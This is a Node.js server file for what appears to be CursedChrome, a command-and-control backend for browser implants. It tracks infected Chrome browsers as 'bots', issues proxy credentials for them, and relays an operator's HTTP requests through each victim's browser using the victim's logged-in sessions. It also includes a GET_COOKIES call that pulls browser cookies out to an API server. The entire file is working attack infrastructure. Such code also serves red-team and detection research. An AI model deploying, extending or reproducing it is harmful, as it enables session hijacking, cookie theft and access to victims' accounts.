const NodeCache = require("node-cache"); const AnyProxy = require('./anyproxy'); const cluster = require('cluster'); const WebSocket = require('ws'); const https = require('https'); const redis = require("redis"); const http = require('http'); const uuid = require('uuid'); const util = require('util'); const fs = require('fs'); const database = require('./database.js'); const database_init = database.database_init; const Users = database.Users; const Bots = database.Bots; const sequelize = database.sequelize; const Sequelize = require('sequelize'); const Op = Sequelize.Op; const get_secure_random_string = require('./utils.js').get_secure_random_string; const logit = require('./utils.js').logit; const get_api_server = require('./api-server.js').get_api_server; const numCPUs = require('os').cpus().length; /* TODO: We need to have a garbage collector for subscriptions to the `TOPROXY_{{browser_id}}` topics in redis. Likely just having a timeout since last request received would be reasonable enough. */ const PROXY_PORT = process.env.PROXY_PORT || 8080; const WS_PORT = process.env.WS_PORT || 4343; const API_SERVER_PORT = process.env.API_SERVER_PORT || 8118; const SERVER_VERSION = '1.0.1'; const RPC_CALL_TABLE = { 'PING': ping, } const REQUEST_TABLE = new NodeCache({ 'stdTTL': 30, // Default second(s) till the entry is removed. 'checkperiod': 5, // How often table is checked and cleaned up. 'useClones': false, // Whether to clone JavaScript variables stored here. }); async function ping(websocket_connection, params) { // Update bot as online const bot = await Bots.findOne({ where: { browser_id: websocket_connection.browser_id } }); if (!bot) { websocket_connection.send( JSON.stringify({ 'id': uuid.v4(), 'version': SERVER_VERSION, 'action': 'RESET', 'data': {} }) ) return } await bot.update({ is_online: true, }); // Send PONG message back websocket_connection.send( JSON.stringify({ 'id': uuid.v4(), 'version': SERVER_VERSION, 'action': 'PONG', 'data': {} }) ) } function get_browser_proxy(input_browser_id) { for (var it = wss.clients.values(), val = null; current_ws_client = it.next().value;) { if (current_ws_client.browser_id === input_browser_id) { return current_ws_client; } } throw 'No browser found that matches those credentials!'; return false; } function authenticate_client(websocket_connection) { return new Promise(function (resolve, reject) { // For timeout, will reject if no response in 30 seconds. setTimeout(function () { reject(`A timeout occurred when authenticating WebSocket client.`); }, (30 * 1000)); const message_id = uuid.v4(); const auth_rpc_message = { 'id': message_id, 'version': '1.0.0', 'action': 'AUTH', 'data': {} } // Add promise resolve to message table // that way the promise is resolved when // we get a response for our HTTP request // RPC message. REQUEST_TABLE.set( message_id, resolve ); // Send auth RPC message websocket_connection.send(JSON.stringify(auth_rpc_message)); }); } function get_browser_cookie_array(browser_id) { return new Promise(function (resolve, reject) { // For timeout, will reject if no response in 30 seconds. setTimeout(function () { reject(`Get cookies RPC called timed out.`); }, (30 * 1000)); const message_id = uuid.v4(); var message = { 'id': message_id, 'version': SERVER_VERSION, 'action': 'GET_COOKIES', 'data': {} } // Add promise resolve to message table // that way the promise is resolved when // we get a response for our HTTP request // RPC message. REQUEST_TABLE.set( message_id, resolve ) // Subscribe to the proxy redis topic to get the // response when it comes const subscription_id = `TOPROXY_${browser_id}`; subscriber.subscribe(subscription_id); // Send the HTTP request RPC message to the browser publisher.publish( `TOBROWSER_${browser_id}`, JSON.stringify( message ) ); }); } function send_request_via_browser(browser_id, authenticated, url, method, headers, body) { return new Promise(function (resolve, reject) { // For timeout, will reject if no response in 30 seconds. setTimeout(function () { reject(`Request Timed Out for URL ${url}!`); }, (30 * 1000)); const message_id = uuid.v4(); var message = { 'id': message_id, 'version': SERVER_VERSION, 'action': 'HTTP_REQUEST', 'data': { 'url': url, 'method': method, 'headers': headers, 'body': body, 'authenticated': authenticated } } // Add promise resolve to message table // that way the promise is resolved when // we get a response for our HTTP request // RPC message. REQUEST_TABLE.set( message_id, resolve ) // Subscribe to the proxy redis topic to get the // response when it comes const subscription_id = `TOPROXY_${browser_id}`; subscriber.subscribe(subscription_id); // Send the HTTP request RPC message to the browser publisher.publish( `TOBROWSER_${browser_id}`, JSON.stringify( message ) ); }); } function caseinsen_get_value_by_key(input_object, input_key) { const object_keys = Object.keys(input_object); var matching_value = undefined; object_keys.map(object_key => { if (object_key.toLowerCase() === input_key.toLowerCase()) { matching_value = input_object[object_key]; } }); return matching_value; } const AUTHENTICATION_REQUIRED_PROXY_RESPONSE = { response: { statusCode: 407, header: { 'Proxy-Authenticate': 'Basic realm="Please provide your credentials."' }, body: 'Provide credentials.' } }; async function get_authentication_status(inputRequestDetail) { const proxy_authentication = caseinsen_get_value_by_key( inputRequestDetail, 'Proxy-Authorization' ); if (!proxy_authentication || !(proxy_authentication.includes('Basic'))) { logit(`No proxy credentials provided!`); console.log(proxy_authentication); return false; } const proxy_auth_string = ( new Buffer( proxy_authentication.replace( 'Basic ', '' ).trim(), 'base64' ) ).toString(); const proxy_auth_string_parts = proxy_auth_string.split(':'); const username = proxy_auth_string_parts[0]; const password = proxy_auth_string_parts[1]; const memory_cache_key = `${username}:${password}`; // If we already have this cached we can stop here. const credential_data_string = await getAsync(memory_cache_key); if (credential_data_string) { const cached_record = JSON.parse(credential_data_string); return { 'id': cached_record.id, 'browser_id': cached_record.browser_id, 'is_authenticated': cached_record.is_authenticated, 'name': cached_record.name, }; } // Kick both queries off at the same time for slightly improved speed. var browserproxy_record = await Bots.findOne({ where: { proxy_username: username, proxy_password: password } }); if (!browserproxy_record) { logit(`Invalid credentials for username '${username}'!`); return false; } // No need to wait for this to resolve await setexAsync( memory_cache_key, (60 * 10), JSON.stringify(browserproxy_record), ); return { 'id': browserproxy_record.id, 'browser_id': browserproxy_record.browser_id, 'is_authenticated': browserproxy_record.is_authenticated, 'name': browserproxy_record.name, }; } const options = { port: PROXY_PORT, rule: { async beforeSendRequest(requestDetail) { const remote_address = requestDetail._req.connection.remoteAddress; const auth_details = await get_authentication_status(requestDetail.requestOptions.headers); if (!auth_details) { logit(`[${remote_address}] Request denied for URL ${requestDetail.url}, no authentication information provided in proxy HTTP request!`); return AUTHENTICATION_REQUIRED_PROXY_RESPONSE; } // Send base64-encoded body if there's any data to // send, otherwise set it to false. const body = ( requestDetail.requestData.length > 0 ) ? requestDetail.requestData.toString('base64') : false; logit(`[${auth_details.id}][${auth_details.name}] Proxying request ${requestDetail._req.method} ${requestDetail.url}`); const response = await send_request_via_browser( auth_details.browser_id, true, requestDetail.url, requestDetail.requestOptions.method, requestDetail.requestOptions.headers, body ); // For connection errors if (!response) { logit(`[${auth_details.id}][${auth_details.name}] A connection error occurred while requesting ${requestDetail._req.method} ${requestDetail.url}`); return { response: { statusCode: 503, header: { 'Content-Type': 'text/plain', 'X-Frame-Options': 'DENY' }, body: (new Buffer(`CursedChrome encountered an error while requesting the page.`)) } }; } logit(`[${auth_details.id}][${auth_details.name}] Got response ${response.status} ${requestDetail.url}`); let encoded_body_buffer = new Buffer(response.body, 'base64'); let decoded_body = encoded_body_buffer.toString('ascii'); if ('content-encoding' in response.headers) { delete response.headers['content-encoding']; } return { response: { statusCode: response.status, header: response.headers, body: encoded_body_buffer } }; }, }, webInterface: { enable: false, webPort: 8002 }, //throttle: 10000, forceProxyHttps: true, wsIntercept: false, silent: !(process.env.DEBUGGING === "yes") }; async function initialize_new_browser_connection(ws) { logit(`Authenticating newly-connected browser...`); // Authenticate the newly-connected client. const auth_result = await authenticate_client(ws); const browser_id = auth_result.browser_id; const user_agent = auth_result.user_agent; // Set the browser ID on the WebSocket connection object ws.browser_id = browser_id; // Set up a subscription in redis for when we get a new // HTTP proxy request that we need to send to the browser // connected to use via WebSocket. subscriber.subscribe(`TOBROWSER_${browser_id}`); // Check the database to see if we already have this browser // Recorded in the DB. var browserproxy_record = await Bots.findOne({ where: { browser_id: browser_id } }); if (browserproxy_record === null) { /* If the browser has no Bots in the database then we'll create a default one which is authenticated and unscoped. This is to make the user's first use experience much easier so they can easily try out the functionality. */ logit(`Browser ID ${browser_id} is not already registered. Creating new credentials for it...`); const new_username = `botuser${get_secure_random_string(8)}`; const new_password = get_secure_random_string(18); const new_browserproxy = await Bots.create({ 'id': uuid.v4(), 'name': 'Untitled Bot', 'browser_id': browser_id, 'proxy_username': new_username, 'proxy_password': new_password, 'is_authenticated': true, 'is_online': true, 'user_agent': user_agent }); } else { // Update all browserproxy records to reflect that all these proxies are // now online. browserproxy_record.is_online = true; browserproxy_record.user_agent = user_agent; await browserproxy_record.save(); } } function heartbeat() { this.isAlive = true; } var wss = undefined; var proxyServer = undefined; var redis_client = undefined; var subscriber = undefined; var publisher = undefined; async function initialize() { // Used for distributing the TCP connection workload across // multiple servers which use one redis instance as the core // pubsub system. redis_client = redis.createClient({ "host": process.env.REDIS_HOST, }); redis_client.on("error", function (error) { logit(`Redis client encountered an error:`); console.error(error); }); subscriber = redis.createClient({ "host": process.env.REDIS_HOST, }); publisher = redis.createClient({ "host": process.env.REDIS_HOST, }); // Promisify Node redis calls, these are intentionally global getAsync = util.promisify(redis_client.get).bind(redis_client); setexAsync = util.promisify(redis_client.setex).bind(redis_client); delAsync = util.promisify(redis_client.del).bind(redis_client); // Called when a new redis subscription is added subscriber.on("subscribe", function (channel, count) { //logit(`New subscription created for channel ${channel}, bring total to ${count}.`); }); // Called when a new message is written to a channel subscriber.on("message", function (channel, message) { //logit(`Received a new message at channel '${channel}', message is '${message}'`); // For messages being sent to the browser from the proxy if (channel.startsWith('TOBROWSER_')) { const browser_id = channel.replace('TOBROWSER_', ''); const browser_websocket = get_browser_proxy(browser_id); browser_websocket.send(message); return } // For messages being sent back to the proxy from the browser if (channel.startsWith('TOPROXY_')) { const browser_id = channel.replace('TOPROXY_', ''); try { var inbound_message = JSON.parse( message ); } catch (e) { logit(`Error parsing message received from browser:`); logit(`Message: ${message}`); logit(`Exception: ${e}`); } // Check if it's an action we recognize. if (inbound_message.action in RPC_CALL_TABLE) { RPC_CALL_TABLE[inbound_message.action](browser_id, inbound_message.data); return } // Check if we're tracking this response if (REQUEST_TABLE.has(inbound_message.id)) { //logit(`Resolving function for message ID ${inbound_message.id}...`); const resolve = REQUEST_TABLE.take(inbound_message.id); resolve(inbound_message.result); } return } }); // Build HTTP server first and pass to WS server // This is a forward-looking change so versioning doesn't // become a clusterfuck with addon tools for the server. const http_server = http.createServer(function (req, res) { res.writeHead(200, { 'Content-Type': 'text/plain', 'CC-Server-Version': SERVER_VERSION, }); res.write(''); res.end(); }).listen(WS_PORT); wss = new WebSocket.Server({ server: http_server // port: WS_PORT }); wss.on('connection', async function connection(ws) { logit(`A new browser has connected to us via WebSocket!`); ws.isAlive = true; ws.on('close', async () => { // Only do this if there's a valid browser ID for // the WebSocket which has died. if (ws.browser_id) { logit(`WebSocket browser ${ws.browser_id} has disconnected.`); // Unsubscribe from the browser topic since we can no longer send // any messages to the browser anymore subscriber.unsubscribe(`TOBROWSER_${ws.browser_id}`); // Update browserproxy record to reflect being offline var browserproxy_record = await Bots.findOne({ where: { browser_id: ws.browser_id } }); browserproxy_record.is_online = false; await browserproxy_record.save(); } else { logit(`Unauthenticated WebSocket has disconnected from us.`); } }); ws.on('pong', heartbeat); ws.on('message', function incoming(message) { try { var inbound_message = JSON.parse( message ); } catch (e) { logit(`Error parsing message received from browser:`); logit(`Message: ${message}`); logit(`Exception: ${e}`); } // As a special case, if this is the result // from an authentication request, we'll process it. if (inbound_message.origin_action === 'AUTH') { // Check if we're tracking this response if (REQUEST_TABLE.has(inbound_message.id)) { //logit(`Resolving function for message ID ${inbound_message.id}...`) const resolve = REQUEST_TABLE.take(inbound_message.id); resolve(inbound_message.result); } return } else if (inbound_message.action === 'PING') { ping(ws); } else if (ws.browser_id) { // Write to redis proxy topic with the response from the // websocket connection. publisher.publish(`TOPROXY_${ws.browser_id}`, message); } else { logit(`Wat, this shouldn't happen? Orphaned message (somebody might be probing you!):`); logit(message); } }); await initialize_new_browser_connection(ws); }); wss.on('ready', () => { logit(`CursedChrome WebSocket server is now running on port ${WS_PORT}.`) }); proxyServer = new AnyProxy.ProxyServer(options); proxyServer.on('ready', () => { logit(`CursedChrome HTTP Proxy server is now running on port ${PROXY_PORT}.`) }); proxyServer.on('error', (e) => { logit(`CursedChrome HTTP Proxy server encountered an unexpected error:`); console.error(e); }); logit(`Starting the WebSocket server...`); logit(`Starting the HTTP proxy server...`) proxyServer.start(); logit(`Starting API server...`); const proxy_utils = { 'get_browser_cookie_array': get_browser_cookie_array }; // Start the API server const api_server = await get_api_server(proxy_utils); api_server.listen(API_SERVER_PORT, () => { logit(`CursedChrome API server is now listening on port ${API_SERVER_PORT}`); }); } (async () => { // If we're the master process spin up workers // If we're the worker processes, get to work! if (cluster.isMaster) { logit(`Master ${process.pid} is running`); logit(`Initializing the database connection...`); await database_init(); // Fork workers. for (let i = 0; i < numCPUs; i++) { cluster.fork(); } cluster.on('exit', (worker, code, signal) => { logit(`worker ${worker.process.pid} died`); }); } else { // Start worker initialize(); logit(`Worker ${process.pid} started`); } })();